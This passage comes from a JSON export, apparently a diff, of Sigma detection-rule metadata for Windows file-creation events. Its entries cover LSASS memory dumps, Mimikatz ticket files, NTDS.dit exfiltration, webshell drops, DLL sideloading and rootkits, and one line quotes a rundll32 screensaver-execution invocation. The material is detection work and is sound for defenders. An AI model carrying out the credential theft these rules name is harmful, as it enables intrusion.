"https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2022/10/01", - "filename": "file_event_win_exchange_webshell_drop.yml", - "author": "Florian Roth (rule), MSTI (query, idea)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious file type dropped by an Exchange component in IIS", - "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", - "value": "Suspicious File Drop by Exchange", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1190", - "attack.initial_access", - "attack.t1505.003" - ], - "creation_date": "2022/10/04", - "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects default lsass dump filename from SafetyKatz", - "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", - "value": "SafetyKatz Default Dump Filename", - "meta": { - "refs": [ - "https://github.com/GhostPack/SafetyKatz", - "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2018/07/24", - "filename": "file_event_win_ghostpack_safetykatz.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Rare legitimate files with similar filename structure" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", - "value": "GoToAssist Temporary Installation Artefact", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/13", - "filename": "file_event_win_gotoopener_artefact.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", - "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", - "value": "Dumpert Process Dumper", - "meta": { - "refs": [ - "https://github.com/outflanknl/Dumpert", - "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2020/02/04", - "filename": "file_event_win_hack_dumpert.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects files written by the different tools that exploit HiveNightmare", - "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", - "value": "Typical HiveNightmare SAM File Export", - "meta": { - "refs": [ - "https://github.com/GossiTheDog/HiveNightmare", - "https://github.com/FireFart/hivenightmare/", - "https://github.com/WiredPulse/Invoke-HiveNightmare", - "https://twitter.com/cube0x0/status/1418920190759378944", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001", - "cve.2021.36934" - ], - "creation_date": "2021/07/23", - "filename": "file_event_win_hivenightmare_file_exports.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Files that accidentally contain these strings" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", - "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", - "value": "NPPSpy Hacktool Usage", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", - "https://twitter.com/0gtweet/status/1465282548494487554", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" - ], - "tags": [ - "attack.credential_access" - ], - "creation_date": "2021/11/29", - "filename": "file_event_win_hktl_nppspy.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", - "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", - "value": "Potential Initial Access via DLL Search Order Hijacking", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", - "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" - ], - "tags": [ - "attack.t1566", - "attack.t1566.001", - "attack.initial_access", - "attack.t1574", - "attack.t1574.001", - "attack.defense_evasion" - ], - "creation_date": "2022/10/21", - "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "TeamViewer_Desktop.exe is create during install", - "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", - "value": "Installation of TeamViewer Desktop", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/01/28", - "filename": "file_event_win_install_teamviewer_desktop.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the presence and execution of Inveigh via dropped artefacts", - "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", - "value": "Inveigh Execution Artefacts", - "meta": { - "refs": [ - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/10/24", - "filename": "file_event_win_inveigh_artefacts.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (\u201ciphlpapi.dll\u201d) is sideloaded\n", - "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", - "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder", - "meta": { - "refs": [ - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/12", - "filename": "file_event_win_iphlpapi_dll_sideloading.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", - "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", - "value": "ISO File Created Within Temp Folders", - "meta": { - "refs": [ - "https://twitter.com/Sam0x90/status/1552011547974696960", - "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2022/07/30", - "filename": "file_event_win_iso_file_mount.yml", - "author": "@sam0x90", - "level": "high", - "falsepositive": [ - "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", - "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", - "value": "ISO or Image Mount Indicator in Recent Files", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", - "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", - "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/11", - "filename": "file_event_win_iso_file_recent.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Cases in which a user mounts an image file for legitimate reasons" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects programs on a Windows system that should not write an archive to disk", - "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", - "value": "Legitimate Application Dropped Archive", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/21", - "filename": "file_event_win_legitimate_app_dropping_archive.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects programs on a Windows system that should not write executables to disk", - "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", - "value": "Legitimate Application Dropped Executable", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/21", - "filename": "file_event_win_legitimate_app_dropping_exe.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects programs on a Windows system that should not write scripts to disk", - "uuid": "7d604714-e071-49ff-8726-edeb95a70679", - "value": "Legitimate Application Dropped Script", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/21", - "filename": "file_event_win_legitimate_app_dropping_script.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", - "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", - "value": "LSASS Process Memory Dump Files", - "meta": { - "refs": [ - "https://www.google.com/search?q=procdump+lsass", - "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", - "https://github.com/helpsystems/nanodump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2021/11/15", - "filename": "file_event_win_lsass_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", - "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", - "value": "LSASS Memory Dump File Creation", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/10/22", - "filename": "file_event_win_lsass_memory_dump_file_creation.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "high", - "falsepositive": [ - "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", - "Dumps of another process that contains lsass in its process name (substring)" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", - "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", - "value": "WerFault LSASS Process Memory Dump", - "meta": { - "refs": [ - "https://github.com/helpsystems/nanodump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/06/27", - "filename": "file_event_win_lsass_werfault_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "A office file with macro is created from a commandline or a script", - "uuid": "b1c50487-1967-4315-a026-6491686d860e", - "value": "Dump Office Macro Files from Commandline", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", - "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2022/01/23", - "filename": "file_event_win_macro_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", - "value": "Adwind RAT / JRAT", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2017/11/10", - "filename": "file_event_win_mal_adwind.yml", - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Octopus Scanner Malware.", - "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", - "value": "Octopus Scanner Malware", - "meta": { - "refs": [ - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" - ], - "tags": [ - "attack.t1195", - "attack.t1195.001" - ], - "creation_date": "2020/06/09", - "filename": "file_event_win_mal_octopus_scanner.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", - "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", - "value": "Suspicious VHD Image Download From Browser", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2021/10/25", - "filename": "file_event_win_mal_vhd_download.yml", - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "level": "medium", - "falsepositive": [ - "Legitimate user creation" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", - "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", - "value": "Mimikatz Kirbi File Creation", - "meta": { - "refs": [ - "https://cobalt.io/blog/kerberoast-attack-techniques", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558" - ], - "creation_date": "2021/11/08", - "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Mimikatz MemSSP default log file creation", - "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", - "value": "Mimikatz MemSSP Default Log File Creation", - "meta": { - "refs": [ - "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2021/12/20", - "filename": "file_event_win_mimimaktz_memssp_log_file.yml", - "author": "David ANDRE", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", - "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", - "value": "Moriya Rootkit", - "meta": { - "refs": [ - "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2021/05/06", - "filename": "file_event_win_moriya_rootkit.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects msdt.exe creating files in suspicious directories", - "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", - "value": "MSDT.exe Creates Files in Autorun Directory", - "meta": { - "refs": [ - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "cve.2022.30190" - ], - "creation_date": "2022/08/24", - "filename": "file_event_win_msdt_autorun.yml", - "author": "Vadim Varganov, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", - "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", - "value": "Creation Suspicious File In Uncommon AppData Folder", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/08/05", - "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", - "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", - "value": "SCR File Write Event", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Desk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" - ], - "tags": [ - "attack.t1218.011", - "attack.defense_evasion" - ], - "creation_date": "2022/04/27", - "filename": "file_event_win_new_src_file.yml", - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "The installation of new screen savers." - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", - "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", - "value": "Persistence Via Notepad++ Plugins", - "meta": { - "refs": [ - "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/06/10", - "filename": "file_event_win_notepad_plus_plus_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Possible FPs during first installation of Notepad++", - "Legitimate use of custom plugins to enhance notepad++ functionality by users" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", - "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", - "value": "Suspicious NTDS.DIT Creation", - "meta": { - "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://pentestlab.blog/tag/ntds-dit/", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/03/11", - "filename": "file_event_win_ntds_dit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", - "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", - "value": "Suspicious NTDS Exfil Filename Patterns", - "meta": { - "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", - "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/03/11", - "filename": "file_event_win_ntds_exfil_tools.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", - "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", - "value": "Microsoft Office Add-In Loading", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137.006" - ], - "creation_date": "2020/05/11", - "filename": "file_event_win_office_persistence.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Legitimate add-ins" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", - "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", - "value": "Outlook C2 Macro Creation", - "meta": { - "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.command_and_control", - "attack.t1137", - "attack.t1008", - "attack.t1546" - ], - "creation_date": "2021/04/05", - "filename": "file_event_win_outlook_c2_macro_creation.yml", - "author": "@ScoubiMtl", - "level": "medium", - "falsepositive": [ - "User genuinly creates a VB Macro for their email" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of new Outlook form which can contain malicious code", - "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", - "value": "Outlook Form Installation", - "meta": { - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137.003" - ], - "creation_date": "2021/06/10", - "filename": "file_event_win_outlook_newform.yml", - "author": "Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes creating temp files related to PCRE.NET package", - "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", - "value": "PCRE.NET Package Temp Files", - "meta": { - "refs": [ - "https://twitter.com/rbmaslen/status/1321859647091970051", - "https://twitter.com/tifkin_/status/1321916444557365248", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/10/29", - "filename": "file_event_win_pcre_net_temp_file.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": 